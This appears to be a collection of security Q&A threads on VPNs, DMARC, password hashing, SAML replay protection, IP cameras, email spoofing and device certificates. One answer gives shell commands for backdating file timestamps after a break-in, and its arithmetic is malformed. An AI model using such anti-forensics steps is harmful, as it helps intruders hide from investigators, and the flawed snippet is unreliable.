Note: I ask not so much really with existing exploits and malware in mind, but thinking more about whether Ubuntu on Windows will allow exploit creators & malware developers in the future to go "cross-platform" simply by targeting stuff to work on Ubuntu (Ubuntu user-mode territory, anyways).

It depends. From the information released so far it looks like that the implementation is done using some kind of OS personality, similar to what Linux can do with Windows binaries (wine) or SCO UNIX binaries. This would mean that logic attacks or buffer overflows at the application level (i.e. shellshock, heartbleed, getaddrinfo libc bug ...) could work but might need adjustments due to different memory layouts. Attacks using kernel facilities would not work since it is not using the linux kernel but the windows kernel as the lower layer.


vpn and strong authentication, how does the two work as a pair? Dont know. maybe I was to unprecise....

I basically am asking if a SSL-VPN solution is solving both the encryption and the authentication, like that the user authenticates himself to the vpn-client with a certificate and by setup of the vpn-solution this will solve both the need for encryption(vpn with tls) and the strong authentication.

example: a user authenticates to the vpn-client on his client machine by use of 2fa, a smart card with his credentials, the vpn-client sends this data to the vpn server where the client is authenticated, a vpn-tunnel is created for this session. On the internal network the users credentials sent in the tunnel will be handled by authorization mechanisms against some kind of repository, an ad etc.

is this a feasible solution?

A Virtual Private Network on an end-user device (a PC for instance) is just that: a network which comes in addition to the ones you already have and which binds your client to a remote server/network though an encrypted tunnel.

It is set up after having received the authorization to do so in some way. This is usually bundled with the server/client solution you will use (and can be credentials, certificates, ...).

You should look at the VPN as an extension of the target network. You need to ensure you can connect to that network (the authentication part above) and then your traffic is similar to the one you would have in the LAN.

It is conceivable to have a VPN connection which is not authenticated. I fail to see a real usecase for that but this is to show that the VPN authentication is there to allow your client to connect to the target network (nor services).


Why is it possible for the root user to delete the logs? I always thought the greatest benefit of the logs is to confirm to you that your machine has been hacked. However I see hackers bragging about "rooting" servers all over the Internet. Whats stopping a hacker with root access from deleting the logs in order to cover their tracks?

Why is it possible for the root user to delete the logs?

Because you need to be able to manage the server.

  Whats stopping a hacker with root access from deleting the logs in order to cover their tracks?

Regarding local logging, only their own stupidity. Regarding external logging, their skill set and yours.

There are many, many different ways to "log." In fact, you could have the rooted machine log to a separate, hidden device that can't easily be overwritten, such as a raspberry pi / arduino logger, of which I have a few.

In Linux, root is supposed to be able to do pretty much everything. In Windows, the same concept applies; if you have root access to a machine, you will be able to do almost anything you want to that machine, which includes deleting logs.

You can also log all connections to a certain machine, especially if it isn't supposed to be "accessed" in the first place.

How would you find out what's going on, and how would you circumvent it?

Here's a way to find all changes in the last 120 minutes:

find / -mmin -120 -printf '%p\t%a\n'

Nice, huh? Gotcha, hacker! Mwahahaha... but you can change these attributes if you know what you're doing, like so:

touch -d "24 hours ago" <file>

Even worse, automating it:

find / -print | while read file; do
    touch -d "$(date -r "$file") - 24 hours" "$file"
done

But wait, Mark Hulkalo! If all the files were last edited 24 hours ago, then that clearly shows we've got a haxor! True, but you can also apply $RANDOM where 24 exists. Here's an example of a number from 1-24: $((RANDOM % 10) + 1). Now it doesn't look so easy to discover, does it?

But what if all files look like that, especially files which aren't supposed to be changed? Limit the scope to a certain directory, such as /root. There are lots of ways to mask your presence locally.

Unless the attacker forgot to cleanse ~/.bash_history, you'll be flying blind. Really, if the only "logging" you have is ~/.bash_history, then you're in trouble if your attacker is at least moderately intelligent. That can be erased on each user account with astounding ease, so as long as you have the appropriate permissions.

It's much easier to log entries somewhere it won't be easily detected or modified, such as an external device. While it's possible to use forensics to recover your attacker's footprints, it's very, very easy to circumvent if you know what you're doing. This is why external logging is a much better solution.

And that's the story of why external logging is generally the answer... keep in mind there are also ways to circumvent external logging. Nothing is ever 100% safe; you can only make it harder for your attacker, not impossible.


Certificates and keys for mass production devices I have a number of devices which need to connect to a server via TLS. In order to make sure that only known devices connect to the server mutual authentication should be used. Similar the client devices should only trust a specific server certificate.

The firmware for each device therefore contains the client certificate and matching private key for client authentication and the server certificate for server authentication.

All it works correctly, but how can I handle this in a mass production ?
I do not want to manually add to the firmware all the certs and keys and recompile the firmware for each device.

Is there any general rule/advice to handle this?

If the requirement is that the server can authenticate a client device immediately after the device was first switched on then there is no other way but to ship devices where each has a unique certificate in the firmware or associated data. How this can be accomplished depends on the process how these devices are produced, i.e. how the firmware ends on the device, if associated data (like the certificate) can be added later etc. And this part is also not an information security problem, i.e. off-topic.

If there is instead some setup procedure involved when the device is first installed then it might be possible to create the certificate (or the CSR if a server side CA is involved, see below) during setup and inform the server about the new device and its previously unknown certificate. Of course there needs to be some authentication for this so that only valid devices announce themselves to the server. This can for example be accomplished if some unique key is shipped together with each device on paper or USB stick and is entered (or plugged in) as part of the setup procedure.

On the server side it might be possible to either store each client certificate for validation or have some private certificate authority (CA) which signs all the client certificates so that the server can simply accept all certificates issued by this authority and extract the device identity from the subject of the certificate. The approach of using a CA scales much better with many devices.


What causes the descriptive text in HTTPS lock icons? Some websites have descriptive text next to their lock icon.

While many other websites (like Google) simply display a simple green lock icon.

What causes this? And does this text have a special name?

That's called Extended Validation Certificate.


Is there anything that a regular user can do to help remove fake websites? I'm talking about domains like msn.org and stackoveflow.com that impersonate major websites and serve up malicious ads such as the "critical alert from Microsoft" ad.

I've tried reporting these ads to the companies before but they seem to just ignore my emails and I've tried reporting them to their web and domain host but they either say that it's not their problem or that the websites aren't malicious (???).

I've also tried reporting them through Google's spam report form and malicious software form but Chrome still doesn't block them as being unsafe websites, so I'm not sure that they even read the reports.

Is there anything else that can be done?

I think you've exhausted most possible solutions. What I suggest though, it's using adblockers on your preferred web browser so you won't encounter these ads anymore, but this still doesn't solve the actual issue.


Why is DMARC failing when SPF and DKIM are passing? I've seen this question asked before, but unfortunately, don't understand the responses. I think its something to do with "from" headers being defined differently by different standards.  I've added all the domains in the "from" to SPF records, but DMARC is still failing.

I'm curious if anyone could help me specifically identify why this email passes both SPF and DKIM but fails DMARC.

Here is the screenshot of the email headers:
https://ibb.co/ynqj6fm

DMARC fails since the sender domain according to the From field of the mail header is different to the sender domain in the SMTP envelope (SPF validation) and different to the domain given in the DKIM signature. This means there is no alignment of the From domain with a valid DKIM or SPF - but such an alignment is required for DMARC
 to pass.


Standalone exe application - hide password I am making a standalone exe application that does not connect to the internet. There is an 'edit mode' that is 'password protected' but the mechanism in c++ (which I wrote it in) looks like:

string passwd = getString();
if(password=="something"){//do stuff}

Where "something" is my real password. So I know if it was reverse engineered or something the password would be easily obtained.

The program does not connect to the internet, and if a user found out the password it would only be a minor inconvenience. Is there are more secure method, or is this enough? Nothing, to my knowledge, is encrypted in any sort.

Use a salted hash, just like you would in a tool that is connected to the internet.

Clearly, if an attacker has the software installed on their own system, they can just modify it and remove the password altogether. But then they're only hacking it on their own system.

If the password is a salted hash, they will only know the salted hash, not the actual password.
There should be implementations for calculating a salted hash in C++, that you can use to verify the password that the user types in. So you don't have to write it yourself. This is still a thing to consider even if your application does not connect to the internet. Your application may not go to the internet, but the computer on which it runs probably does have a connection, and is liable to attack - it is only as safe as the computer on which it runs.


Procedure of tranmission of original virus If   website A is having a video with a virus, then if we watch that video through another website B (like  dirpy dot com or getaudiofromvideo dot com), is there mechanism for the virus from website A  to reach our computer? We are not watching website A, we are watching it through website B, then what is the procedure through which the virus will reach our computer?

If it's a flash video that's malicious, and your flash player is vulnerable to that particular attack, than it does not matter where it comes from and where you watch it. It's enough to play it to give access to your PC to the attacker.


Drive with deniable encryption and multiple independent file systems So I read this question about deniable encryption but it left me with a few questions.
The first answer describes how you could hide one file system on a drive.
The process goes like this:

Fill the drive with random data
Select a random offset and create the encrypted file system there so it's indistinguishable from the random data around it

Now my questions:
How would one have multiple of these file systems (independent of another) in a structured way?
If we select multiple random numbers for the offsets we might end up with one very large and one very small.
So I thought of a way to solve the first problem:
You could divide the disk in equal blocks of say 1 GB to ensure that each block has the same size.
Is there a better way?
Even if the ensure that each block has enough space for our purposes we still have the problem of needing to remember the offset and the password for that block.
Is there any way to let the user only have to remember the password?
One solution I thought about was deriving the block number from the password, but if the user changes the password he would also have to move the data to that new block (kinda inefficent).
The only solution I found was trying the password on each block and checking for a magic number at the beginning to ensure correct decryption.
This seems pretty inefficient though.
Is there any other way while still preserving the deniable aspect of it?
The goal is to make it impossible for an attacker to know how much data there is on the disk.

There is no better way then checking a magic number.
All the other options have disadvantages that are unacceptable to me.
So the creating procedure is the following:

Fill the file or disk with random data
Divide file or disk into blocks of 1 GB
Ask the user for a password
Hash that password with an adequate algorithm
Select a random block and write a header (encrypted with the hash) with the magical number to ensure correct decryption later
Mount the block minus the header as an encrypted file-system (encrypted with the hash).

To get the data back the following procedure needs to be followed:

Ask the user for a password
Hash that password with an adequate algorithm
Divide the file or disk into blocks of 1 GB
Go to the start of each block and decrypt the first n bytes with the hashed password
Check if the decrypted data matches the magical number
Go to the next block if not


multiple encryption layers and removing them in any order? I was just thinking (through browsing the site)

How possible is it to encrypt data, then encrypt it a 2nd time and then after encrypting it with a 2nd layer, remove the first layer leaving the second layer untouched.

file -> encrypted layer 1 -> encrypted layer 1 and layer 2 -> encrypted layer 2 -> file.

technically possible right? especially if you keep everything in byte arrays? I am just curious on this?

What you seek is called a commutative cipher. This is not the same thing as "a cipher that is commutative" (the terminology is confusing). A cipher that is commutative is easily achieved with, e.g., the large class of stream ciphers that generate a key-dependent pseudorandom stream and encrypt data by XORing that stream with the data to encrypt. Since XOR is commutative, two instances of such encryption can be applied successively then removed in any order. However, observing the encrypted versions yields too much information to eavesdropper -- this encryption is not as encrypted as you believe it to be.

Generally speaking, a commutative cipher is an encryption method that is commutative and yet is secure enough when used in Shamir's three-pass protocol. In a broad sense, such a commutative cipher cannot be "as secure" as a normal symmetric cipher (see this), but it can still be "secure enough" for the three-pass protocol. Known algorithms that appear to be commutative cipher in that sense (Pohlig-Hellman and SRA) rely on the same kind of mathematical tool as asymmetric encryption and key exchange algorithms like RSA or Diffie-Hellman; correspondingly, they don't offer any actual performance advantage over this more widely used types of algorithms.


Which SSL certificate should I purchase for a website with one sub-domain? I want to purchase an SSL/TLS certificate for my website, for three reasons:

To be able to display web-push notifications
Improve website rankings on Google
Obtain more trust from visitors

I have a single domain. When the user is on the page I have some tracking JavaScript code which makes an HTTP request to a subdomain of my website, for tracking purposes.

This is a list of Certificates that I found

What would in my case be the best option?

The cheapest one doesn't support subdomains apparently - But for my use case, do I really need that kind of support? Visitors don't visit the subdomain, they just send requests to it.
If the first one is not good enough, then I see there's a decently priced one for "3 domains" - does it mean I can use it on a subdomain too? Or I must take the wildcard which is more expensive?
Why does only one of the packages say that you get "mobile browser support" - does it mean that all other packages won't show the SSL for mobile users?

You do need to have a certificate for your sub-domain, otherwise you will get mixed-content warnings. So option one is out.

Having "3 domains" includes sub-domains. You can see it in their example when you click on the option.  You certainly don't need a wild-cart certificate.

  blog.mysite.com, secure.mysite.co.uk, payment.mysite.net, www.blog.mysite.org

As for mobile support, when I click on the certificates, all of them include mobile support in the table of features. I have no idea why they decided to specifically mention it in one description and not others.


Is there any benefit to keeping a VeraCrypt file container inside another VeraCrypt file container? Assuming both file containers had completely unique and strong passwords, are there any benefits or drawbacks to keeping a VeraCrypt (or any other encrypted container) file container inside another VeraCrypt file container?

I'd say it is not worth the trouble. Inserting an additional layer of encryption may thwart the work of an attacker only if he's trying to bruteforce the password, but won't be effective against several side-level attacks (cold boot attack, evil maid attack, malware, etc.). Plus, it will lower dramatically I/O performance as everything needs to be encrypted/decrypted twice.

It would be better to use VeraCrypt in the standard way, concatenating the two strong passwords into an unique, stronger password.


What security settings is Yahoo Mail looking for to consider IMAP client secure? When setting up an IMAP client for Yahoo Mail, Yahoo requires the "Allow apps that use less secure signin" option to be enabled.

The client is configured to use SSL for IMAP (and SMTP).

What settings is Yahoo looking for to consider an IMAP client to be secure?

That setting is used to block (or permit) password auth to Yahoo's POP3/IMAP/SMTP servers. They want you to use OAuth tokens instead.

The advantage of OAuth is that the app itself doesn't actually store your password - in fact, needn't ever even see your password - and has only an app-specific access token and refresh token. The use of those tokens can be tracked individually, and revoked at need, without impacting other apps (unlike a password). The token also can't be used to sign into the web portal and do things like change settings, again, unlike a password.

Still, the way they will prompt you every single time you log in to "disable insecure access" is intensely irritating, especially because they don't know how the clients are storing those passwords (for example, if I don't have Outlook store the password and just enter it every time I sign in, then most of their concern is irrelevant) and also because training people to click through scary-looking warnings is a TERRIBLE thing to do.


Theoretical - Password salting with concatenation vs. salting with HMAC I was looking through different methods of salting and tried to compare which is more secure for password storage. I know HMAC wasn't meant at first for password hashing but it is widely used for that purpose. I also know the more secure method is using key stretching. I looked through CrackStation, old don't hash secrets article, question on this topic and 3 wrong ways to store passwords article. I still was not able to conclude which of the following methods is more secure than the other and why:

sha256($pass.$salt)
sha256($salt.$pass)
HMAC-SHA256 (key = $pass, $salt)
HMAC-SHA256 (key = $salt, $pass)

WARNING: None of these are secure for password storage. The question is about marginal theoretical differences between these methods of password hashing and salting.

I was considering length extension attacks which probably are not a factor here, or are they (which would make HMAC more secure)? Then also maybe would HMAC be less secure because the key is known? How would you sort those methods by security?

The four methods you listed are essentially equivalently secure for the purpose of hashing passwords.

The HMAC construction of H(k1 ++ H(k2 ++ m)) (where ++ is concatenation)  is designed specifically to prevent attacks against MACs being used to authenticate messages as being written by someone possessing the secret key (k1, k2; where k1 = K ⊕ opad, k2 = K ⊕ ipad, where opad=0x5c5c...5c and ipad=0x3636...36).  Due to common hash functions like md5, sha1, sha2 being vulnerable to length extension attacks, you can't use a construction like H(k ++ m) as a MAC, since an eavesdropper who observed a signed message m could use a length-extension attack to make a valid MAC for a message m' = m ++ tampered_msg.  Similarly, the construction H(m ++ k) is also insecure if an attacker could generate a collision (find two messages H(m1) = H(m2) where m1 and m2 lined up on a block) and then if he can trick someone into creating a MAC for m1, he can use that as a valid MAC for m2.

However, being susceptible to length-extension or pre-collision attacks is not relevant for the use of storing and validating user passwords.  All that is relevant is the length of the returned hash, the fact the salt is unique for every stored password in your system (so multiple passwords are not attacked in parallel, the time to calculate the hash (intrinsically slow hashes are more secure against brute force), and the strength of the password.

If I use H(random_salt ++ password) with a hash that's vulnerable to length-extension attacks, there's no equivalent vulnerability.  Who cares if someone who doesn't know my password but has seen the hash could potentially calculate H(random_salt ++ password ++ tampered_pw) for whatever tampered_pw they want to add onto my password without figuring out what the password is?

That said, the HMAC construction may be a tad safer in that it calls the hash function twice, so theoretically should take double the time to brute force; though typically when you perform multiple rounds of hashing you do many thousands of rounds of hashing (that makes brute forcing many thousands of times harder) instead of just 2 rounds of hashing.


Why is it bad to open ports to ip cams? How does a VPN fix this? I have been running a couple home web cams that I can view when away from home, by opening ports on my router. They are strongly password protected.

An IPCam forum that I read says that you should never ever open ports, but should instead use a VPN. The forum explains that hackers can penetrate these ports and install/run malicious code. But they don't detail HOW hackers do this or whether passwords solve the problem or not.

My new (installing soon) router has a VPN built in so it shouldn't be a problem to set that up. I just want to know the "why".

Thanks!

IP Cameras, like many IoT devices, were not built with security in mind. As the Mirai botnet showed us, many operate with insecure protocols (telnet) and have either hard coded credentials, or default credentials it does not force the user to change. Couple this with the fact that many will never receive a firmware update so long as they are online, and the replacement time on such a device can be up to 10 years and you've got a security nightmare in the works.

A VPN allows your cameras to operate behind your firewall, which means you are not directly exposing your cameras to the internet. You utilize the VPN to get "beyond" your firewall so you can access local resources, like the cameras in this instance.

Many cameras and other IoT devices also like to decide for themselves what ports to open and close, so for this reason I would also highly recommend disabling UPnP on your new router as well to further protect you from malice.


Monitor HTTP requests in a TLS transaction I want to know if there is a way to monitor the size and time taken for an HTTP request in a TLS transaction using a proxy or other network traffic inspection tool. Note that I do not want to inspect the content of request or response. However, I just want to know the number of HTTP requests, and time and size for each request.

HTTP/1.x traffic consists of a single request followed by a single response inside a TCP or TLS connection. There can be multiple requests and matching responses inside the same connection but typically a new request is only sent once the response is received fully. With this in mind you can do a flow analysis, i.e. look at records of type application_data and analyse in which direction they are sent (i.e. request or response) and how many bytes they transport. From this you can easily distinguish requests and responses even if the traffic is encrypted. You will also get the size of requests and response, although not the exact number of bytes but a close value.

While this described typical HTTP/1.x traffic there can be some less common behavior. Some clients use HTTP pipelining where request are already send before the previous response is received. Due to this message boundaries (i.e. end of request and response) are harder or impossible to detect. This is also true with HTTP/2 traffic where multiple requests and responses are interleaved inside the same TLS connection. And then there are Websockets which provide a bidirectional data exchange after the initial request and response pair. Depending on the kind of data exchange this might look similar to request and response or to be completely different.


How to know 3rd party ads are safe? It seems many sites use 3rd party flash ads, those ads could be design to attack user.

Do those site know which ads are safe or not? Or they just transfer any ads to user browser?

In general, how to know 3rd party ads are safe or not?

Unfortunately you won't know without looking at, and understanding, the contents of the ads. There are two main concerns here.

Your first concern would be if the add contents are requested and served over some sort of Transport Later Security connection. Unfortunately at this stage very few of these 3rd party advertising networks bother to implement https for the sources of the add content. You can simply check the URL where the add contents are requested from to see if it is over an https connection. If this is not the case then the contents of that add will be vulnerable to modification by a Man-In-The-Middle.

There have been proven exploits of in-app adds on Android devices where a MitM is able to get access to all the privileges (camera,contacts,photos etc) of the application by simply exploiting an add banner that received contents over an unsecured connection. Tools like Drozer are used for this exploit. You can read more on add network research here.

Secondly, even if the connection is secure you still have to trust the actual content as you correctly point out. This would mean that you have to trust the add network that actually serves the content. It stands to reason that more popular add networks can more easily be trusted but you should most certainly not implicitly trust them. There is no guarantee that they actually review the adds that they serve. In this case there is not much you can do other than to do some of your own research on these 3rd party add providers to see if there have been any previous issues or concerns.


What are the cons of dhcp snooping, dynamic arp inspection and ip guard? I read about a couple of layer 2 protections against dhcp starving, mac and ip spoofing- ip guard, dhcp snooping and dynamic arp inspection.

Are there any cons or vulnerabilies which enable bypassing them or are they safe to use?

I have noticed that each record in the dhcp binding table has a time to live and the table itself has a limited size, but I dont see how can it help the attack.

TL;DR - They are safe to use, but, it depends in the configuration and implementation of your solution (as you noted - the dhcp binding table could become a problem, since IP source guard and ARP Inspection are relying on it).

DHCP Snooping with ARP Inspection

ARP Inspection and DHCP Snooping are great combination together ("supercouple").

As long as you whitelist the trusted ports in your switch, use ARP Inspection (that will prevent MAC spoofing) and correct static DHCP binding table, you will be pretty safe.

Why is that?

ARP Inspection will keep that no one could spoof his MAC
DHCP binding table - the ARP Inspection uses the DHCP binding table, by validating the MAC and the
Whitelist the trusted ports will keep the devices under the switch safe from other machines that are trying to pretend as DHCP servers

DHCP binding table and IP Source Guard

Just as with the ARP Inspection, also this solution relies on the DHCP binding table.

General Tips

If you have a lot of "temp" users in the network, use a short lease in your binding table (as you have mentioned, the table is limited)
In order to use ARPI or IP Guard, you have to activate the DHCP snooping (and in general, use all three of them together).


How to tell users that they shouldn't disclose their password over the phone to our help desk? I work for a help desk, and we recently launched an online service where our members can log in.

A problem we are having is that users who are calling us often ask us to confirm that the password handed in to them is correct. By doing so, they disclose their password over the phone. How can we prevent this?

It is mentioned in the sign up mail that they mustn't disclose their password, and we mention it whenever we feel they are going to disclose it to us.

About the users: Around 90% of our callers are first time callers.  Since they're doing it the first time they call, it's difficult to educate them. They are pensioners, so they usually have less experience of authenticated services than the average computer user.

Ensure there is a method for users to reset their own passwords, and make a policy whereby the helpdesk will initiate a password reset if a password is revealed to them.

Users will tend to phone up when they can't log in, and therefore triggering the same password reset process as they can themselves results in them slowly learning that it doesn't help to phone up.


SSO SAML2: validating/verifying the SAMLResponse at the ACS So it's unclear how much more security needs to happen at the ACS point.
I can see that the IDP signs a signature that involves a certificate and private key.
The SP can verify the signature with the copy of the certificate it holds. Is that all that's needed to prevent forgery of a SAMLResponse hitting the ACS? Or will the SP need to make further checks, perhaps with a private key it holds?
Additionally, I've read replay attacks need to be protected from, but if NotOnOrAfter exists surely that means a response is valid until then so why would we protected from replays if the whole idea is that a response should stay working up to some specified date?
Finally, I've read that I must consider recording a AuthnRequest ID so that I can verify the IDP got it. The IDP can supply it in InResponseTo of the SAMLResponse. Is this actually good?

The SP can verify the signature with the copy of the certificate it
holds. Is that all that's needed to prevent forgery of a SAMLResponse
hitting the ACS?

No. Replay prevention is a big part of this (more on that in a minute). In addition, determining what is signed (the assertion? the entire response?) has bearing, and then there's the decision as to whether or not any of the attributes being shared from the IdP need to be encrypted (or maybe the whole assertion does). Generally, I see administrators choosing to sign the response, and as long as the IdP isn't passing what it considers PII, then encryption won't be needed.

Or will the SP need to make further checks, perhaps with a private key
it holds?

The only time that the SP's private key comes into play is if the SP is signing AuthnRequests (which, if you are supporting SP-init, is a good thing), or if the IdP wants to send you encrypted assertions or attributes. The encryption of attributes requires it to be done with the SP's public key at the IdP, so the SP can decrypt with its private key.

Additionally, I've read replay attacks need to be protected from, but
if NotOnOrAfter exists surely that means a response is valid until
then so why would we protected from replays if the whole idea is that
a response should stay working up to some specified date?

This probably is more of a thought experiment. What is the mechanism being used to transport the SAML response? The browser, right? How secure is that? If the browser is compromised (or otherwise MITM'd), and an attacker can get the SAML response, then without the Replay Prevention the attacker can provide the response to your SP and authenticate as the legitimate user. The length of time  that Replay Prevention must be in place is the length of the session granted by the response (the period between NotBefore and NotOnOrAfter). It should be noted that some service providers (don't become one of these) drive the user's session time based on those two times. That's silly. These values should be used to manage the validity period of the assertion and set to as short a length as technically possible (thirty seconds should be enough). Speaking of short time frames, make sure your SP server time is correct - I can't tell you how many times I've found where neither the SP or IdP had their servers properly synching time to a central service. That makes putting time constraints on assertions really difficult if servers don't actually know what time it is.

Finally, I've read that I must consider recording a AuthnRequest ID so
that I can verify the IDP got it. The IDP can supply it in
InResponseTo of the SAMLResponse. Is this actually good?

There's good reason for doing SP-init - it prevents the possibility of data leakage of the resource the user is trying to get to. Consider the following... User shows up to a resource and they aren't authenticated. The resource says "hey pal, go get authenticated, and redirects them to the SP. The SP captures the referrer (which is the resource the user is trying to get to) and stores it temporarily, associating it with some immutable ID. The SP then sends the user to the IdP with an AuthnRequest that has that immutable ID. When the IdP sends the user back with that ID in the InResponseTo, then a couple of cool things can happen - the SP can validate that the Response came from the proper IdP (very important if you are a service provider for multiple IdPs), and it can properly redirect the user to the resource that they wanted. In addition, since the it's an Opaque ID, the IdP doesn't have information about what the user was trying to access (which could somehow equate to PII, or have other privacy and security implications).


Public facing computers in a Media Lab I've just taken over administering a lab of Apple computers on a university campus. We have about 15 computers and I've discovered that they all have public IPs and domain names. Even our printer is accessible from the Internet, which is probably the most terrifying.

I tried running a port scan on the computers in my lab using nmap but (obviously) I started lighting up computers all over the building and further afield. I'm not sure how to test our vulnerability without getting in trouble with network operations.

This situation makes me really nervous and I feel like I don't have full control over my cluster of machines.

I have two questions:

Is it reasonable for me to be scared about the security situation in the lab?
Is it reasonable for me to ask IT services for an explanation of the networking here and ways to mitigate my lab's exposure?

I'd feel much better with everything behind Tomato-based router and some port-forwarding rules rather than every single machine fully accessible to the Internet. I know that's not a silver bullet but it's better than nothing.

I think it's perfectly reasonable to be worried (I would be). Even if these machines have no vulnerable services now, your lab users are bound to install something dangerous sooner or later and chaos will ensue. For now, if nmap is overkill on your network, you can log onto each machine and run netstat to get a first glance at your attack surface.

You should definitely report this to your IT services and request some kind of NAT and / or firewalling.

If they do not want to act, though, keep in mind that you should refrain from remotely hacking that printer / vulnerable Mac to prove your point. Newspapers are filled with stories of sysadmins that got fired like that. Bite the bullet and keep a written track of your exchanges.


Security of this account login system I have an idea to implement a account system using email and passwords for games.
Im intending to have the account creation and forget password systems on a webpage. So if users will have to access the webpage in order to access those features.
The users will login with those details in the game.

For the account creation and forget password, I'm thinking of setting in my webpage server.
While the account database will be stored with the game server which will also host the account's scripts.

Im think that if i were to put my game server script path in the HTML form, the user will be able to know the location of my game server. Thus, for user who wish to hack my server will know the location. With that i was thinking, if the form points to a script in my web server, and that script will sent the data to my game server script. Does that mean the game server will only be comprise if my web server is hacked?

Regarding to the user's email and password, I know that storing the password in plain text is not a good way. The recommended way was to encrypt it with a hash and salt. Im wondering if the encryption and salting should take place at the client side (HTML) or the server side(script at game server)?

If it happens at the game server, i will have to send the password in plain text, ain't it?
OR i could hash the password with MD5 or SHA-1 or SHA-256(etc..) at the client side and receive the hashed password at the server side and perform a second round of hashing with salting on the game server?

The things i'm looking for in this question is about how secure for both my users and my server for this method of authentication.

The state of the art is as follows:

Registration page is posted back to the same server, which contacts and updates whatever authentication database you want.
Passwords are hashed either on the webserver or the authentication server (if the auth server is more than just a database).  Use bcrypt or scrypt for the hashing.
The account creation & password reset pages should be served over SSL.

Keep in mind that none of this hides the location of your game server to the users if the game server is contacted directly by the game, as users can then find the game server from the connection from the game client.


Sniffing WhatsApp chat using Wireshark Suppose two persons are using WhatsApp on Android. How can I see the communication between them if I have Wireshark running on a PC listening on network interface card?

I know the communication between them will be encrypted. How can I see the communication in Wireshark?

My suggestion is a little different to what you asked:

Download the app Packet Capture from the Google Play Store and install it on your Phone.

Start the app, skip the generation of the root certificate (or generate one - this will help you decrypt SSL traffic), and start a capture.

You can then capture and analyze packets directly on your phone - without using wireshark on your PC.It is quite convenient for your specific case.


How does PGP grant authenticity? I'm using the website https://www.igolder.com/PGP/encryption/ to encrypt/decrypt PGP messages and create public/private key pairs.

I get that when I send somebody my encrypted message only he can decrypt it, because I used his public key to encrypt. (integrity)

But when he recieves the encrypted message, he only needs HIS private key to decrypt it. How does that grant authenticity - how does he know who sent the message?

Is PGP only good for giving integrity but not authenticity?

Most PGP implementations don't just allow to encrypt a message with the receivers key, but also allow to sign it with the senders key (this one does not).

A PGP signature is a cryptographic hash of the message encrypted with the private key of the sender. When the receiver decrypts the hash with the public key of the sender and calculates the hash of the message, these two should match.


I can send an email from your email account without your permission. How is this possible? Similar question with an amazing answer: How can PayPal spoof emails so easily to say it comes from someone else?

I hope that the title to this question is actually a lie... but, to my knowleage, I can actually very easily send an email using someone else's emal address without their premission.
Let me explain:

I was looking for a quick, easy and reliable way of sending math equations over email and came accross this site: Send an email containing math symbols and equations! (Beta)

It looked good enough so I decided to send an email to myself to test it.

To my surprise, the website only asked for the "Recipient's emai" and for "my email". And that was it! It sent the email and I did not have to authenticate anything.

So, this website can send emails with my email address without me ever authorizing it.

Sure... at the bottom of the email it says "This mail comes to you from the math mail system of Interactive Mathematics", but I'm assuming this is optional!

The website providing this service didn't do anything wrong and at the end of each email they have the quote:

This mail comes to you from the math mail system of Interactive Mathematics
Sender's IP address: xxx.xxx.xxx.xxx

but I'm assuming they don't have to do this. And that anyone can send an email using someone else's email address.

The point of this question is:

to understand how is this possible
how is this not a security issue?
how can I tell if an email is infact being sent by someone and not some other entity?

Email is an insecure protocol. It was designed to be open before the internet was commercialised.

Sender Policy Framework (SPF) and Domain Keys Identified Mail (DKIM) that help secure email. SPF specifies the IP addresses that are authorised to send mail on behalf of the domain. DKIM proves the email was sent by the owner using signatures.

The receiving email server has to check SPF and DKIM, and based on that can take actions such as discarding, bouncing, or marking emails as spam.


Searching encrypted text with encrypted queries I'm interested in building a service that stores client-side-encrypted text-documents.

Would it be possible to implement a search where the user inputs a search string (this search string would also be encrypted on the client's side) and where the server can perform the search over the encrypted documents without knowing their contents nor the contents of the encrypted search string?

I don't know very much about encryption and I just thought I'd see if I could somehow get a very naive example working. However, using the 'aes-256-ctr' algorithm, I get the following results for my little encryption program:

$ node encrypt.js 123 'hello my friend'
90cbf635540412a202eb46dada1fcf

$ node encrypt.js 123 'hello'
90cbf63554
$ node encrypt.js 123 ' my '
d8c3e379
node encrypt.js 123 'friend'
9edcf33c5540

What kind of encryption algorithms should I be looking at to perform a text search on an encrypted document with an encrypted search string without being able to decipher any of it?

Thanks a lot for your help!

The only usable solution that I am aware of that hasn't been found to have serious code vulnerabilities is ZeroDB (www.zerodb.io) which allows running queries over encrypted databases.

The ZeroDB developers have provided instructions on how to test in Python on their website in the Documentation section.


Encryption in an embeddded system After accepting an answer to my previous question, I am beginning to have doubts.

I want to updating pricing information in vending machines by inserting an SD card with new pricing.

I have to encrypt the file, because anyone who can change it can get one cent drinks. The people who stock the machines would exchange the cards when there is new pricing. They are on minimum wage and generally not renowned hackers, but could, I suppose, pass a card on.

The SD card would be behind a locked casing and anyone who opened that could just clean out the cash box & would probably be unlikely to swipe the card.

The code in the machines is rarely changed, but there will be an option for firmware upgrade (via the same SD card), so I suppose I could update keys that way if they become compromised & store them in NonVolatile memory.

Each machine has a unique CPU Id and also is aware of its model type “drinks, candy, etc” where all machines of the same type have the same pricing structure – if that is of any use for seeding, etc

Question: what’s a good algorithm to use when I am writing in Delphi on Windows and reading in C on a low memory (128kB) embedded system (the file is likely ot be of the order of 512 to 1,024 bytes)? How to deal with keys in this scenario? Hard code into the s/w?

Any other comments or suggestions?

I have to encrypt the file, because anyone who can change it can get
  one cent drinks.

Encryption is used for confidentiality - to prevent unauthorized parties from reading the file. Since your goal is to prevent people from changing the file what you need is a digital signature.

There are two kinds of digital signatures: asymmetric signatures and symmetric signatures.

When using a symmetric signature the side checking the signature needs to have the same secret key used by the signer. In your case this means that the secret key needs to reside in the machine's firmware which sits on the same SD card as the file your trying to protect. Not very secure.

When using an asymmetric signature the side checking the signature (i.e. the vending machine) has a public key and doesn't have the private key needed to sign a file, which solves the above problem.

But this is still trivial for an attacker to break. Since the firmware if on the SD card, and we're assuming the attacker can modify the SD card, the attacker can simply modify the firmware so that it doesn't check the signature.

The ideal solution for this would be if the vending machine's hardware (e.g. BIOS) would validate a signature on the firmware before loading it. There are embedded devices in the world that do this (e.g. game consoles, mobile device) but vending machines are not one of them.

Given the lack of a firmware signature check there is no way to achieve real security for this. The best you could do is obfuscate the code so that it would be more difficult for a hacker to reverse engineer and modify.

If you have good reason to believe that attackers cannot modify the firmware then all you need to do is sign the file using RSA with PKCS#1 padding (which is good enough for your needs). Delphi code for this can be found in TurboPower LockBox; OpenSSL has C code.

